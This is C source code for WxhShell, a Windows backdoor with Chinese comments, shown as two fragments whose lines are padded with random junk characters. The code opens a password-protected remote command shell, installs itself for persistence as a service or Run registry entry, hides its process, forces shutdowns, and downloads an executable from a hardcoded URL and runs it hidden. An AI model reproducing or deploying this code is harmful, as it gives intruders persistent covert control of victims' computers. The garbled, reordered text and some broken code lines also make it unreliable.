  case 'd': { ki=]#]rg  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); *1`q x+1  
    if(Boot(SHUTDOWN)) F*TkQ\y  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); k!)Pl,nJ  
    else { l:- <CbG  
    closesocket(wsh); ~;/}D0k$x  
    ExitThread(0); ^={s(B2  
    } @T@lHc  
    break; q:ah%x[  
    } s)9d\{  
  // 获取shell O~DdMW  
  case 's': { 6O\a\z  
    CmdShell(wsh); h"ZR`?h  
    closesocket(wsh); L)yc_ d5  
    ExitThread(0); @tzL4hy%^j  
    break; h}&1 7M  
  } bSgdVP-  
  // 退出 $*q^7ME  
  case 'x': { ]gjB%R[.m  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); EAZLo;  
    CloseIt(wsh); Z%$ tV3a?  
    break; 7;r Jr&.)  
    } X]+z:!  
  // 离开 "rU 2g  
  case 'q': { #,B+&SK{  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); k.<OO  
    closesocket(wsh); 8d1r#sILI  
    WSACleanup(); , G9{:  
    exit(1); >e M> Y@8=  
    break; N.F //n  
        } ]o2jS D  
  } 5-2#H?:U  
  } MN<uIqG  
/v8yE9N_  
  // 提示信息 :J;&Z{  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); \w@V7~vA  
} XpIl-o&re  
  } x=YV*  
Vqp 3'=No  
  return; 0'zX6%  
} 7 V3r!y  
lOEB ,/P  
// shell模块句柄 witx_r  
int CmdShell(SOCKET sock) Y>Ju$i  
{ u{8:VX  
STARTUPINFO si; Bv{DZ?{s  
ZeroMemory(&si,sizeof(si)); =.(~`ici~  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ;Q\MH t*  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 6Ij'z9nJw  
PROCESS_INFORMATION ProcessInfo; AR3v,eOs  
char cmdline[]="cmd"; w42=tN+ B  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); yt[*4gF4  
  return 0; Xv2Q8-}w  
} ;i-<dAV8B  
^u-;VoK  
// 自身启动模式 0x,NMS  
int StartFromService(void) 0HPqoen$  
{ [ XBVES8  
typedef struct  LOi/+;>  
{ w^E$R  
  DWORD ExitStatus; HyC826~-rI  
  DWORD PebBaseAddress; @&9, 0 x  
  DWORD AffinityMask; RfQ*`^D  
  DWORD BasePriority; wu~?P`  
  ULONG UniqueProcessId; LXS)(-&  
  ULONG InheritedFromUniqueProcessId; T7LO}(I.&  
}   PROCESS_BASIC_INFORMATION; 6H ^=\  
Dks"(0g  
PROCNTQSIP NtQueryInformationProcess; _fjHa6S  
^8V8,C)  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; /Y0oA3am  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Lq]t6o ]  
LO@o`JF  
  HANDLE             hProcess; bzyy;`;6Q~  
  PROCESS_BASIC_INFORMATION pbi; 6<Txkk  
]S7>=S  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); NudY9 ~   
  if(NULL == hInst ) return 0; yn|U<Hxl~H  
@M!nAQ8hY  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); @&f~#Xe  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); E-v^eMWX  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); IN?6~O p  
*('Vyd!n  
  if (!NtQueryInformationProcess) return 0; P2g}G4qf  
CZDWEM}   
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); b^R_8x  
  if(!hProcess) return 0; ")i_{C,b^  
khVfc  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ]PQ6 em  
d8J(~$tXQN  
  CloseHandle(hProcess); n+D93d9LP  
[! Zyp`:  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ;( [^+_/  
if(hProcess==NULL) return 0; a[ yyEgm2  
y`a]##1j$M  
HMODULE hMod; mGh8/Xt  
char procName[255]; V6kJoSyde  
unsigned long cbNeeded; I78Q8W(5  
1otE:bi  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); UId?a} J  
 ?)2;W  
  CloseHandle(hProcess); k{J\)z  
pcNpr`  
if(strstr(procName,"services")) return 1; // 以服务启动 >l^[73,]L  
WSqo\]  
  return 0; // 注册表启动 }ws(:I^  
} @y8) "m"  
JnPwqIF1  
// 主模块 F4$9r^21r  
int StartWxhshell(LPSTR lpCmdLine) 85vyt/.,k  
{ PYyT#AcW2  
  SOCKET wsl; AHet,N  
BOOL val=TRUE; '}9 %12\^h  
  int port=0; R c  
  struct sockaddr_in door; 09J,!NN  
e4<St`K  
  if(wscfg.ws_autoins) Install(); hVW1l&s  
B3W2?5p  
port=atoi(lpCmdLine); 51 "v`O+  
o[aIQ|G  
if(port<=0) port=wscfg.ws_port; FJ2~SKWT  
z=C<@ki`  
  WSADATA data; %mRnJgV5k  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 8iC9xSH[%  
FW:V<{f  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ."j=s#OC(  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); o!zo%#0;#)  
  door.sin_family = AF_INET; DHVfb(H5e  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); #:8V<rc^  
  door.sin_port = htons(port); iQvqifDmh  
M3s:B& /  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ,U.|+i{  
closesocket(wsl); <~  ?LU^  
return 1; 4F,RlKHBl  
} ^%NjdZuDO  
[<.dOe7|  
  if(listen(wsl,2) == INVALID_SOCKET) { z6Zd/mt~x  
closesocket(wsl); P\&n0C~  
return 1; >:|jds#  
} 7~H"m/;U&  
  Wxhshell(wsl); a0PClbf2.  
  WSACleanup(); 8gW$\  
@=qWwt4~  
return 0; K~A@>~vFb  
nG7E j#1  
} 22R ,  
yAQ)/u[|  
// 以NT服务方式启动 D 4<,YBvV  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 9s#*~[E*  
{ 3w8v.J8q  
DWORD   status = 0; K_-S`-eH  
  DWORD   specificError = 0xfffffff; c>+hY5?C  
+T HBPEq  
  serviceStatus.dwServiceType     = SERVICE_WIN32; +kx#"L:  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; eKe[]/}e9  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Kza5_ 7p`L  
  serviceStatus.dwWin32ExitCode     = 0; _ uZVlu@  
  serviceStatus.dwServiceSpecificExitCode = 0; {cmV{ 4Yx  
  serviceStatus.dwCheckPoint       = 0; \Wb3JQ)  
  serviceStatus.dwWaitHint       = 0; OQ+kOE&  
lh-zE5;  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); nQ;M@k&9eV  
  if (hServiceStatusHandle==0) return; ZmS ]4WM<  
oiItQ4{<  
status = GetLastError(); PDb7h  
  if (status!=NO_ERROR) 8xx2+  
{ p{;FO?  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ?|{tWR,Vb  
    serviceStatus.dwCheckPoint       = 0; T1uOp5_]B  
    serviceStatus.dwWaitHint       = 0; M<ba+Qn$  
    serviceStatus.dwWin32ExitCode     = status; ?GGBDql  
    serviceStatus.dwServiceSpecificExitCode = specificError; xpWY4Q  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); &G_XgQsg{  
    return; e|4U2\&3y  
  } i}~U/.P   
\N.Bx  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; UxvT|~"  
  serviceStatus.dwCheckPoint       = 0; =W"9a\m  
  serviceStatus.dwWaitHint       = 0; Oe&gTXo  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); vY]7oX+  
} b"eG8  
!wIrI/P7#  
// 处理NT服务事件,比如:启动、停止 .F@ 2C  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 4K$_d,4`U  
{ R2y~+tko?  
switch(fdwControl) v4r%'bA  
{ ms#|Y l1/|  
case SERVICE_CONTROL_STOP: I]Vkaf I>(  
  serviceStatus.dwWin32ExitCode = 0; r^`~GG!,Q  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Z8o8>C\d9/  
  serviceStatus.dwCheckPoint   = 0; 90">l^HX=  
  serviceStatus.dwWaitHint     = 0; \'+P5,  
  { r[3 2'E  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Iy@6cd,)S  
  } )@6iQ  
  return; w5q'M  
case SERVICE_CONTROL_PAUSE: <h*$bx]9 +  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ~X,ZZ 9H  
  break; Ki\J)l  
case SERVICE_CONTROL_CONTINUE: p*~b5'+ C+  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Z(BZG O<  
  break; aA-s{af  
case SERVICE_CONTROL_INTERROGATE: LuWY}ste  
  break; vpoJ{TPO  
}; 14yzGhA  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); {$'oKJy*  
} dyt.( 2  
h-5] nL3  
// 标准应用程序主函数 `A$zLqz)Vm  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) T<U_Iq  
{ 2Jqr"|sw  
h 2C9p2.  
// 获取操作系统版本 >Slu?{l'  
OsIsNt=GetOsVer(); YT<(2u#Ng  
GetModuleFileName(NULL,ExeFile,MAX_PATH); O[R   
Z>hGqFZ0{  
  // 从命令行安装 kI,O9z7A7  
  if(strpbrk(lpCmdLine,"iI")) Install(); TchByN6oN<  
|qtZb}"|  
  // 下载执行文件 J+YoAf`hi  
if(wscfg.ws_downexe) { Ns.{$'ll  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) h`:B8+k  
  WinExec(wscfg.ws_filenam,SW_HIDE); c4M]q4]F  
} kjj?X|Un  
1Wz5Iv#Ez  
if(!OsIsNt) { 9KMtPBZ  
// 如果时win9x,隐藏进程并且设置为注册表启动 dwVo"_Yr  
HideProc(); | ?ma?  
StartWxhshell(lpCmdLine); K&;/hdS=F  
} F`57;)F  
else i"#zb&~nF  
  if(StartFromService()) k];fQ7}m<0  
  // 以服务方式启动 Yw,LEXLY  
  StartServiceCtrlDispatcher(DispatchTable); zI'c'X1,  
else A&:~dZ:%w  
  // 普通方式启动 V0y_c^x  
  StartWxhshell(lpCmdLine); x_#'6H\1ga  
bOK0^$k  
return 0; 5/i]Jni  
} o_PQ]1  
D>K=D"  
K<fB]44Y  
^Kn:T`vB  
=========================================== \0z<@)r+AJ  
W+#Zmvo  
$rH}2  
lfte   
@O)1Hnm  
TFtD>q X  
" R^Y _i  
|4F'Zu}g>  
#include <stdio.h> ,zh4oX`>  
#include <string.h> 3| 0OW Jk  
#include <windows.h> @vvGhJ1m`  
#include <winsock2.h> 89J7hnJC  
#include <winsvc.h>  o*xft6U  
#include <urlmon.h> -\M;bQV[C  
idNg&'   
#pragma comment (lib, "Ws2_32.lib") JmbWEX|  
#pragma comment (lib, "urlmon.lib") =7 -@&S=?s  
d.p%jVO)"  
#define MAX_USER   100 // 最大客户端连接数 E~1"Nh  
#define BUF_SOCK   200 // sock buffer 3=IY0Q>/(  
#define KEY_BUFF   255 // 输入 buffer J;Veza  
W4:#=.m  
#define REBOOT     0   // 重启 wE#z)2?`\  
#define SHUTDOWN   1   // 关机 M(<.f}yZQ  
vp`s< ;CA  
#define DEF_PORT   5000 // 监听端口 YI),yj  
#80M+m  
#define REG_LEN     16   // 注册表键长度 nfS.0\z  
#define SVC_LEN     80   // NT服务名长度 K7]QgfpSZ  
F^X:5g~K  
// 从dll定义API &U y Q<O>  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ?V4bz2#!1O  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); R<e ~Cb-  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); pSS8 %r%S'  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 8Xz \,}$O  
|:5[`  
// wxhshell配置信息 1D)=q^\I  
struct WSCFG { ?Z"<&tsZ  
  int ws_port;         // 监听端口 '<&rMn  
  char ws_passstr[REG_LEN]; // 口令 9oxn-)6JC  
  int ws_autoins;       // 安装标记, 1=yes 0=no qp2&Z8S\D  
  char ws_regname[REG_LEN]; // 注册表键名 Vnnl~|Xx  
  char ws_svcname[REG_LEN]; // 服务名 O 718s\#  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 w>6 cc#>q  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Mtq^6`JJ'  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 2Z*^)ZQB  
int ws_downexe;       // 下载执行标记, 1=yes 0=no a VIh|v  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 6>F]Z)]}  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 <CGJ:% AY  
N3?hu}  
}; #~6au6LMC  
5U<;6s  
// default Wxhshell configuration nSB@xP#&  
struct WSCFG wscfg={DEF_PORT, JI|MR#_u  
    "xuhuanlingzhe", td(4Fw||1y  
    1, 2q%vd =T  
    "Wxhshell", #>O>=#Q  
    "Wxhshell", yIma7H@=L  
            "WxhShell Service", S3> <zGYk  
    "Wrsky Windows CmdShell Service", @JpkG%eK  
    "Please Input Your Password: ", E>k!d'+tb  
  1, *[b22a4H(  
  "http://www.wrsky.com/wxhshell.exe", I.u[9CI7HU  
  "Wxhshell.exe" NnqAr ,  
    }; &v<Am%!N  
/@+[D{_Fw  
// 消息定义模块 ;BYv&(#u1q  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; o/mGd~  
char *msg_ws_prompt="\n\r? for help\n\r#>"; YB"=eld  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; #]lK!:  
char *msg_ws_ext="\n\rExit."; ]% I|C++0  
char *msg_ws_end="\n\rQuit."; t(=Z@9)]4F  
char *msg_ws_boot="\n\rReboot..."; CL<m+dW%*  
char *msg_ws_poff="\n\rShutdown..."; xc_-1u4a9  
char *msg_ws_down="\n\rSave to "; TV*@h2C"i  
E{}Vi>@V?  
char *msg_ws_err="\n\rErr!"; 4pZ=CB+j  
char *msg_ws_ok="\n\rOK!"; e6uVUzP4  
Fle pM*  
char ExeFile[MAX_PATH]; S~Yu;  
int nUser = 0; 6:qh%ZR  
HANDLE handles[MAX_USER]; U$ 22r b  
int OsIsNt; tqicyNL  
7q'T,'[  
SERVICE_STATUS       serviceStatus; 0M 5m8  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; FmC [u  
\Ea(f**2B  
// 函数声明 n_@cjO  
int Install(void); pEX|zee  
int Uninstall(void); ><"0GPxrx  
int DownloadFile(char *sURL, SOCKET wsh); J|:Zs1.<d  
int Boot(int flag); HiT j-O  
void HideProc(void); > PONu]^  
int GetOsVer(void); esK0H<]  
int Wxhshell(SOCKET wsl); Ygfv?  
void TalkWithClient(void *cs); +~eybm;  
int CmdShell(SOCKET sock); n ?+dX^j  
int StartFromService(void); *#Hw6N0#   
int StartWxhshell(LPSTR lpCmdLine); zoHFTD4 g  
t BKra  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); o1)8?h  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); (bON[6OGm  
x`VA3nE9  
// 数据结构和表定义 IHvrx:7  
SERVICE_TABLE_ENTRY DispatchTable[] = CyD)=e {  
{ B),Z*lpC  
{wscfg.ws_svcname, NTServiceMain}, {x<yDDIv_  
{NULL, NULL} 0:q R,NW^#  
}; xoyH5ZK@  
*{s 3.=P.  
// 自我安装 .fD%*-  
int Install(void) FFpG>+*3  
{ Jj,fdP#\  
  char svExeFile[MAX_PATH]; hvOl9W>  
  HKEY key; I#9q^,,F  
  strcpy(svExeFile,ExeFile); *W$bhC'w  
N Ah^2X  
// 如果是win9x系统,修改注册表设为自启动 xBg. QV  
if(!OsIsNt) { 22r$Ri_>  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { J~k'b2(p3  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); _68{ {.  
  RegCloseKey(key); N=~aj7B%  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { .lyK ,p  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ZOY zCc(d  
  RegCloseKey(key); iuS*Vw  
  return 0; )T!3du:M  
    } l&oc/$&|[  
  } POt 8G  
} vbSycZ2M7  
else { o2W^!#]=  
9jW"83*5  
// 如果是NT以上系统,安装为系统服务 #0'%51Jcl  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); #7|73&u(  
if (schSCManager!=0) raCgctYVq  
{ D%!GY1wdn  
  SC_HANDLE schService = CreateService !FHm.E_>  
  ( c!dc`R  
  schSCManager, 0*XCAnJ^_  
  wscfg.ws_svcname, <zt124y-6  
  wscfg.ws_svcdisp, p~f=0K  
  SERVICE_ALL_ACCESS, ^F:Bj&0v[  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , k`h#.B J  
  SERVICE_AUTO_START, ^!sIEL  
  SERVICE_ERROR_NORMAL, .vWwYG  
  svExeFile, YK%rTbB(  
  NULL, ,#Mt10e{  
  NULL, `e^sQ>rDI  
  NULL, $ uqB.f$  
  NULL, j-TRa,4bN  
  NULL #gSLFM{p  
  ); <Xl/U^B  
  if (schService!=0) qUKSo9  
  { QZv}\C-c  
  CloseServiceHandle(schService); /[+%<5s  
  CloseServiceHandle(schSCManager); #VynADPs`o  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); /nB|Fo_&Q  
  strcat(svExeFile,wscfg.ws_svcname); _BHEK  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 'e:(61_  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); LZ<^b6Dxk  
  RegCloseKey(key); ]oxi~TwY^  
  return 0; <P.'r,"[  
    } U *:E|'>  
  } ]'5 G/H5?;  
  CloseServiceHandle(schSCManager); 'ZAl7k .  
} )%vnl~i!  
} W.Z`kH *B  
U6F1QLSLz  
return 1; Cxra(!&  
} IA680^  
i6)HC  
// 自我卸载 {B[ }}wX$  
int Uninstall(void) Nx=rw h  
{ ]_43U` [#  
  HKEY key; ~Aw.=Yi=  
OZ, Xu&N  
if(!OsIsNt) { AA<QI'6  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { QJ2D C  
  RegDeleteValue(key,wscfg.ws_regname); ':!aFMj^  
  RegCloseKey(key); e-*-91D  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { D";@)\jN  
  RegDeleteValue(key,wscfg.ws_regname); ^]MLEr!S  
  RegCloseKey(key); ~DP_1V?  
  return 0; ZY=a[K  
  } tr|)+~x3  
} _)[UartKx  
} vp(ow]Q  
else { Ticx]_+~T  
bW^C30m  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); {BzE  
if (schSCManager!=0) 0sI7UK`m  
{ XeX` h_  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); d r$E:kr  
  if (schService!=0) o>\o=%D.a  
  { pD;fFLvN  
  if(DeleteService(schService)!=0) { :f~qt%%/  
  CloseServiceHandle(schService); N5.B"l  
  CloseServiceHandle(schSCManager); sW@_' Lw  
  return 0; `G`y A%  
  } bX>R9i$  
  CloseServiceHandle(schService); ZdgzPs"  
  } xSq{pxX  
  CloseServiceHandle(schSCManager); Z):Nd9  
} _{/[&vJ  
} G_<4% HM  
1$H<Kjsm  
return 1; !<?<f db  
} <.&84c]/&  
5GbC}y>  
// 从指定url下载文件 xJ9aFpTC  
int DownloadFile(char *sURL, SOCKET wsh) LkXho>y  
{ ;Vpp1mk|  
  HRESULT hr; lBGYZ--  
char seps[]= "/"; )6(|A$~C+  
char *token; 3,-[lG@o  
char *file; >:HmIW0PLe  
char myURL[MAX_PATH]; [Qcht,\^v  
char myFILE[MAX_PATH]; Z@} qL1  
rFaG-R  
strcpy(myURL,sURL); ty'/i!/\  
  token=strtok(myURL,seps); 2'u%  
  while(token!=NULL) fZrh_^yH  
  { LGK@taw^  
    file=token; _!,Ees=b  
  token=strtok(NULL,seps); ^h^.;Iqr=  
  } in6*3C4  
(e Ssx/  
GetCurrentDirectory(MAX_PATH,myFILE); ")<5 VtV  
strcat(myFILE, "\\"); 54=*vokX_  
strcat(myFILE, file); }(7TiCwd  
  send(wsh,myFILE,strlen(myFILE),0); \440gH`  
send(wsh,"...",3,0); h"nhDART<  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); R3%%;`c=  
  if(hr==S_OK) b0Dco0U(  
return 0; RFoCM^  
else  ?tA%A  
return 1; f-p$4%(  
-iKoQkHt  
} _ s*p$/V\  
.><-XJ  
// 系统电源模块 &8?O ~X=/  
int Boot(int flag) G"w [>m  
{ [:uHe#L  
  HANDLE hToken; "c\WZB`|  
  TOKEN_PRIVILEGES tkp; 5?Pf#kq  
@)U;hk)j;  
  if(OsIsNt) { t<o7 S:a"  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); *2pf> UzL  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 4:-x!lt  
    tkp.PrivilegeCount = 1; 7ug"SV6Hb  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; HLOr Dlj7  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); -K3d u&j  
if(flag==REBOOT) { "$pbK:  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ea]qX6)UZ  
  return 0; 7Mk>`4D'c  
} #ID fJ2  
else { ) J.xQ}g  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) "=1gA~T  
  return 0; i&?\Pp;5-j  
} c g)> A  
  } 6l[ v3l"t  
  else { 'v9M``  
if(flag==REBOOT) { h8X[*Wme  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) XwFTAaZ  
  return 0; .]s? 01Z  
} >]8(3&zd  
else { 8d_J9Ho  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 7F2 RH 8)  
  return 0; ` Nf  
} I=:"Fqj'N  
} dr c-5{M  
8|^&~Rl4  
return 1; qoOwR[NDcq  
} qYJ<I'Ux O  
+Gg|BTTL/  
// win9x进程隐藏模块 ~_Fx2T:X  
void HideProc(void) ?dbSm3  
{ J/ Lf(;C_  
L]8z6]j*  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 4\5i}MIS0  
  if ( hKernel != NULL ) heL`"Y2'y>  
  { :P/VBXh  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); :9av]Yv&  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); cc3B}^@p=  
    FreeLibrary(hKernel); ^2);*X>  
  } GcDA0%i  
L9N }lH  
return; n}_}#(a  
} 2Z%n "z68  
-gm5E qi  
// 获取操作系统版本 -fXQ62:S  
int GetOsVer(void) 9!(%Vf>  
{ }dpTR9j=  
  OSVERSIONINFO winfo; !y B4;f$  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); fge h;cD  
  GetVersionEx(&winfo); ti (Hx  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 57EX#:a  
  return 1; Le:C8^  
  else [^s;Ggi9  
  return 0; dW%t ph  
} fLqjBG]<  
1Acs0` 3  
// 客户端句柄模块 ?'Hd0)yZ  
int Wxhshell(SOCKET wsl) LWm1j:0  
{ bm 4RRI  
  SOCKET wsh; Y!_{:2H8p  
  struct sockaddr_in client; PPH;'!>s"  
  DWORD myID; ch :rAx  
&3Yj2 Fw  
  while(nUser<MAX_USER) 0FtwDM))  
{ ZnRT$ l O  
  int nSize=sizeof(client); *Z^`H!&  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); A&)2m  
  if(wsh==INVALID_SOCKET) return 1; n@xQ-v  
nq HpYb6I0  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); {0w2K82  
if(handles[nUser]==0) f)j*P<V  
  closesocket(wsh); @fYVlHT%E  
else DqT<bNR1*;  
  nUser++; Y(bB7tR  
  } r'j88)^  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 2H}y1bkW  
Vj9X6u}{  
  return 0; \c CH/  
} JPAjOcmU/  
g i6s+2  
// 关闭 socket L7;~4_M9.V  
void CloseIt(SOCKET wsh) oe]* Q  
{ :`zO%h  
closesocket(wsh); P%lD9<jED  
nUser--; s{R ,- \_  
ExitThread(0); vhbHt_!u&  
} ^;<d<V}*  
N-?5[T"  
// 客户端请求句柄 +T@BOYhgq  
void TalkWithClient(void *cs) %K4M`R|2]  
{ R|$AcNp  
p|.5;)%|  
  SOCKET wsh=(SOCKET)cs; Jh0Grq  
  char pwd[SVC_LEN]; " Q?~LB  
  char cmd[KEY_BUFF]; wR@>U.XT@  
char chr[1]; :\P@c(c{^C  
int i,j; OQ hQ!6  
{%G9iOV.  
  while (nUser < MAX_USER) { Or.u*!od&  
^J#*sn  
if(wscfg.ws_passstr) { pT->qQ3;  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); =~hb&  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); A~PR  
  //ZeroMemory(pwd,KEY_BUFF); TT/H"Ri}Jp  
      i=0; tngB;9c+w  
  while(i<SVC_LEN) { n}.e(z_"  
Hs'~) T  
  // 设置超时 n H?6o#]N  
  fd_set FdRead; \hgd&H0UU  
  struct timeval TimeOut; P0}{xq'k9v  
  FD_ZERO(&FdRead); =yZq]g6Q  
  FD_SET(wsh,&FdRead); Zh;wQCDj  
  TimeOut.tv_sec=8; wDh]vH[  
  TimeOut.tv_usec=0; TPJF?.le '  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); nK :YbLdK,  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ah:["< z<  
b(GV4%  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); dT*Yv`h  
  pwd=chr[0]; yy8-t2V  
  if(chr[0]==0xd || chr[0]==0xa) { P.XT1)qo*  
  pwd=0; T,/rC{  
  break; f(w>(1&/B  
  } cl4z%qv*  
  i++; {73V?#P4  
    } F1stRZ1ZI  
"ktuq\a@  
  // 如果是非法用户,关闭 socket I{cH$jt<  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); K 77iv  
} G-T^1?  
* ) <+u~  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); AE}cHBwZE  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); l;_IH|A  
7j\^h2  
while(1) { HK/WO jr  
1v]%FC`  
  ZeroMemory(cmd,KEY_BUFF); 49Jnp>h  
= 0d|F 8  
      // 自动支持客户端 telnet标准   n8<?<-2  
  j=0; [[IMf-]  
  while(j<KEY_BUFF) { Pl/ dUt_  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); c EYHB1*cT  
  cmd[j]=chr[0]; Gn8 sB  
  if(chr[0]==0xa || chr[0]==0xd) { _GG\SWm  
  cmd[j]=0; 9Vm1q!lE  
  break; ][S q^5`  
  } 6XWNJb  
  j++; 4-.K<-T%D  
    } b!@PS$BTxq  
_J!^iJ  
  // 下载文件 h5'hP>b#  
  if(strstr(cmd,"http://")) { &|Duc} t  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ?"9h-g3`x}  
  if(DownloadFile(cmd,wsh)) TM(y%!\  
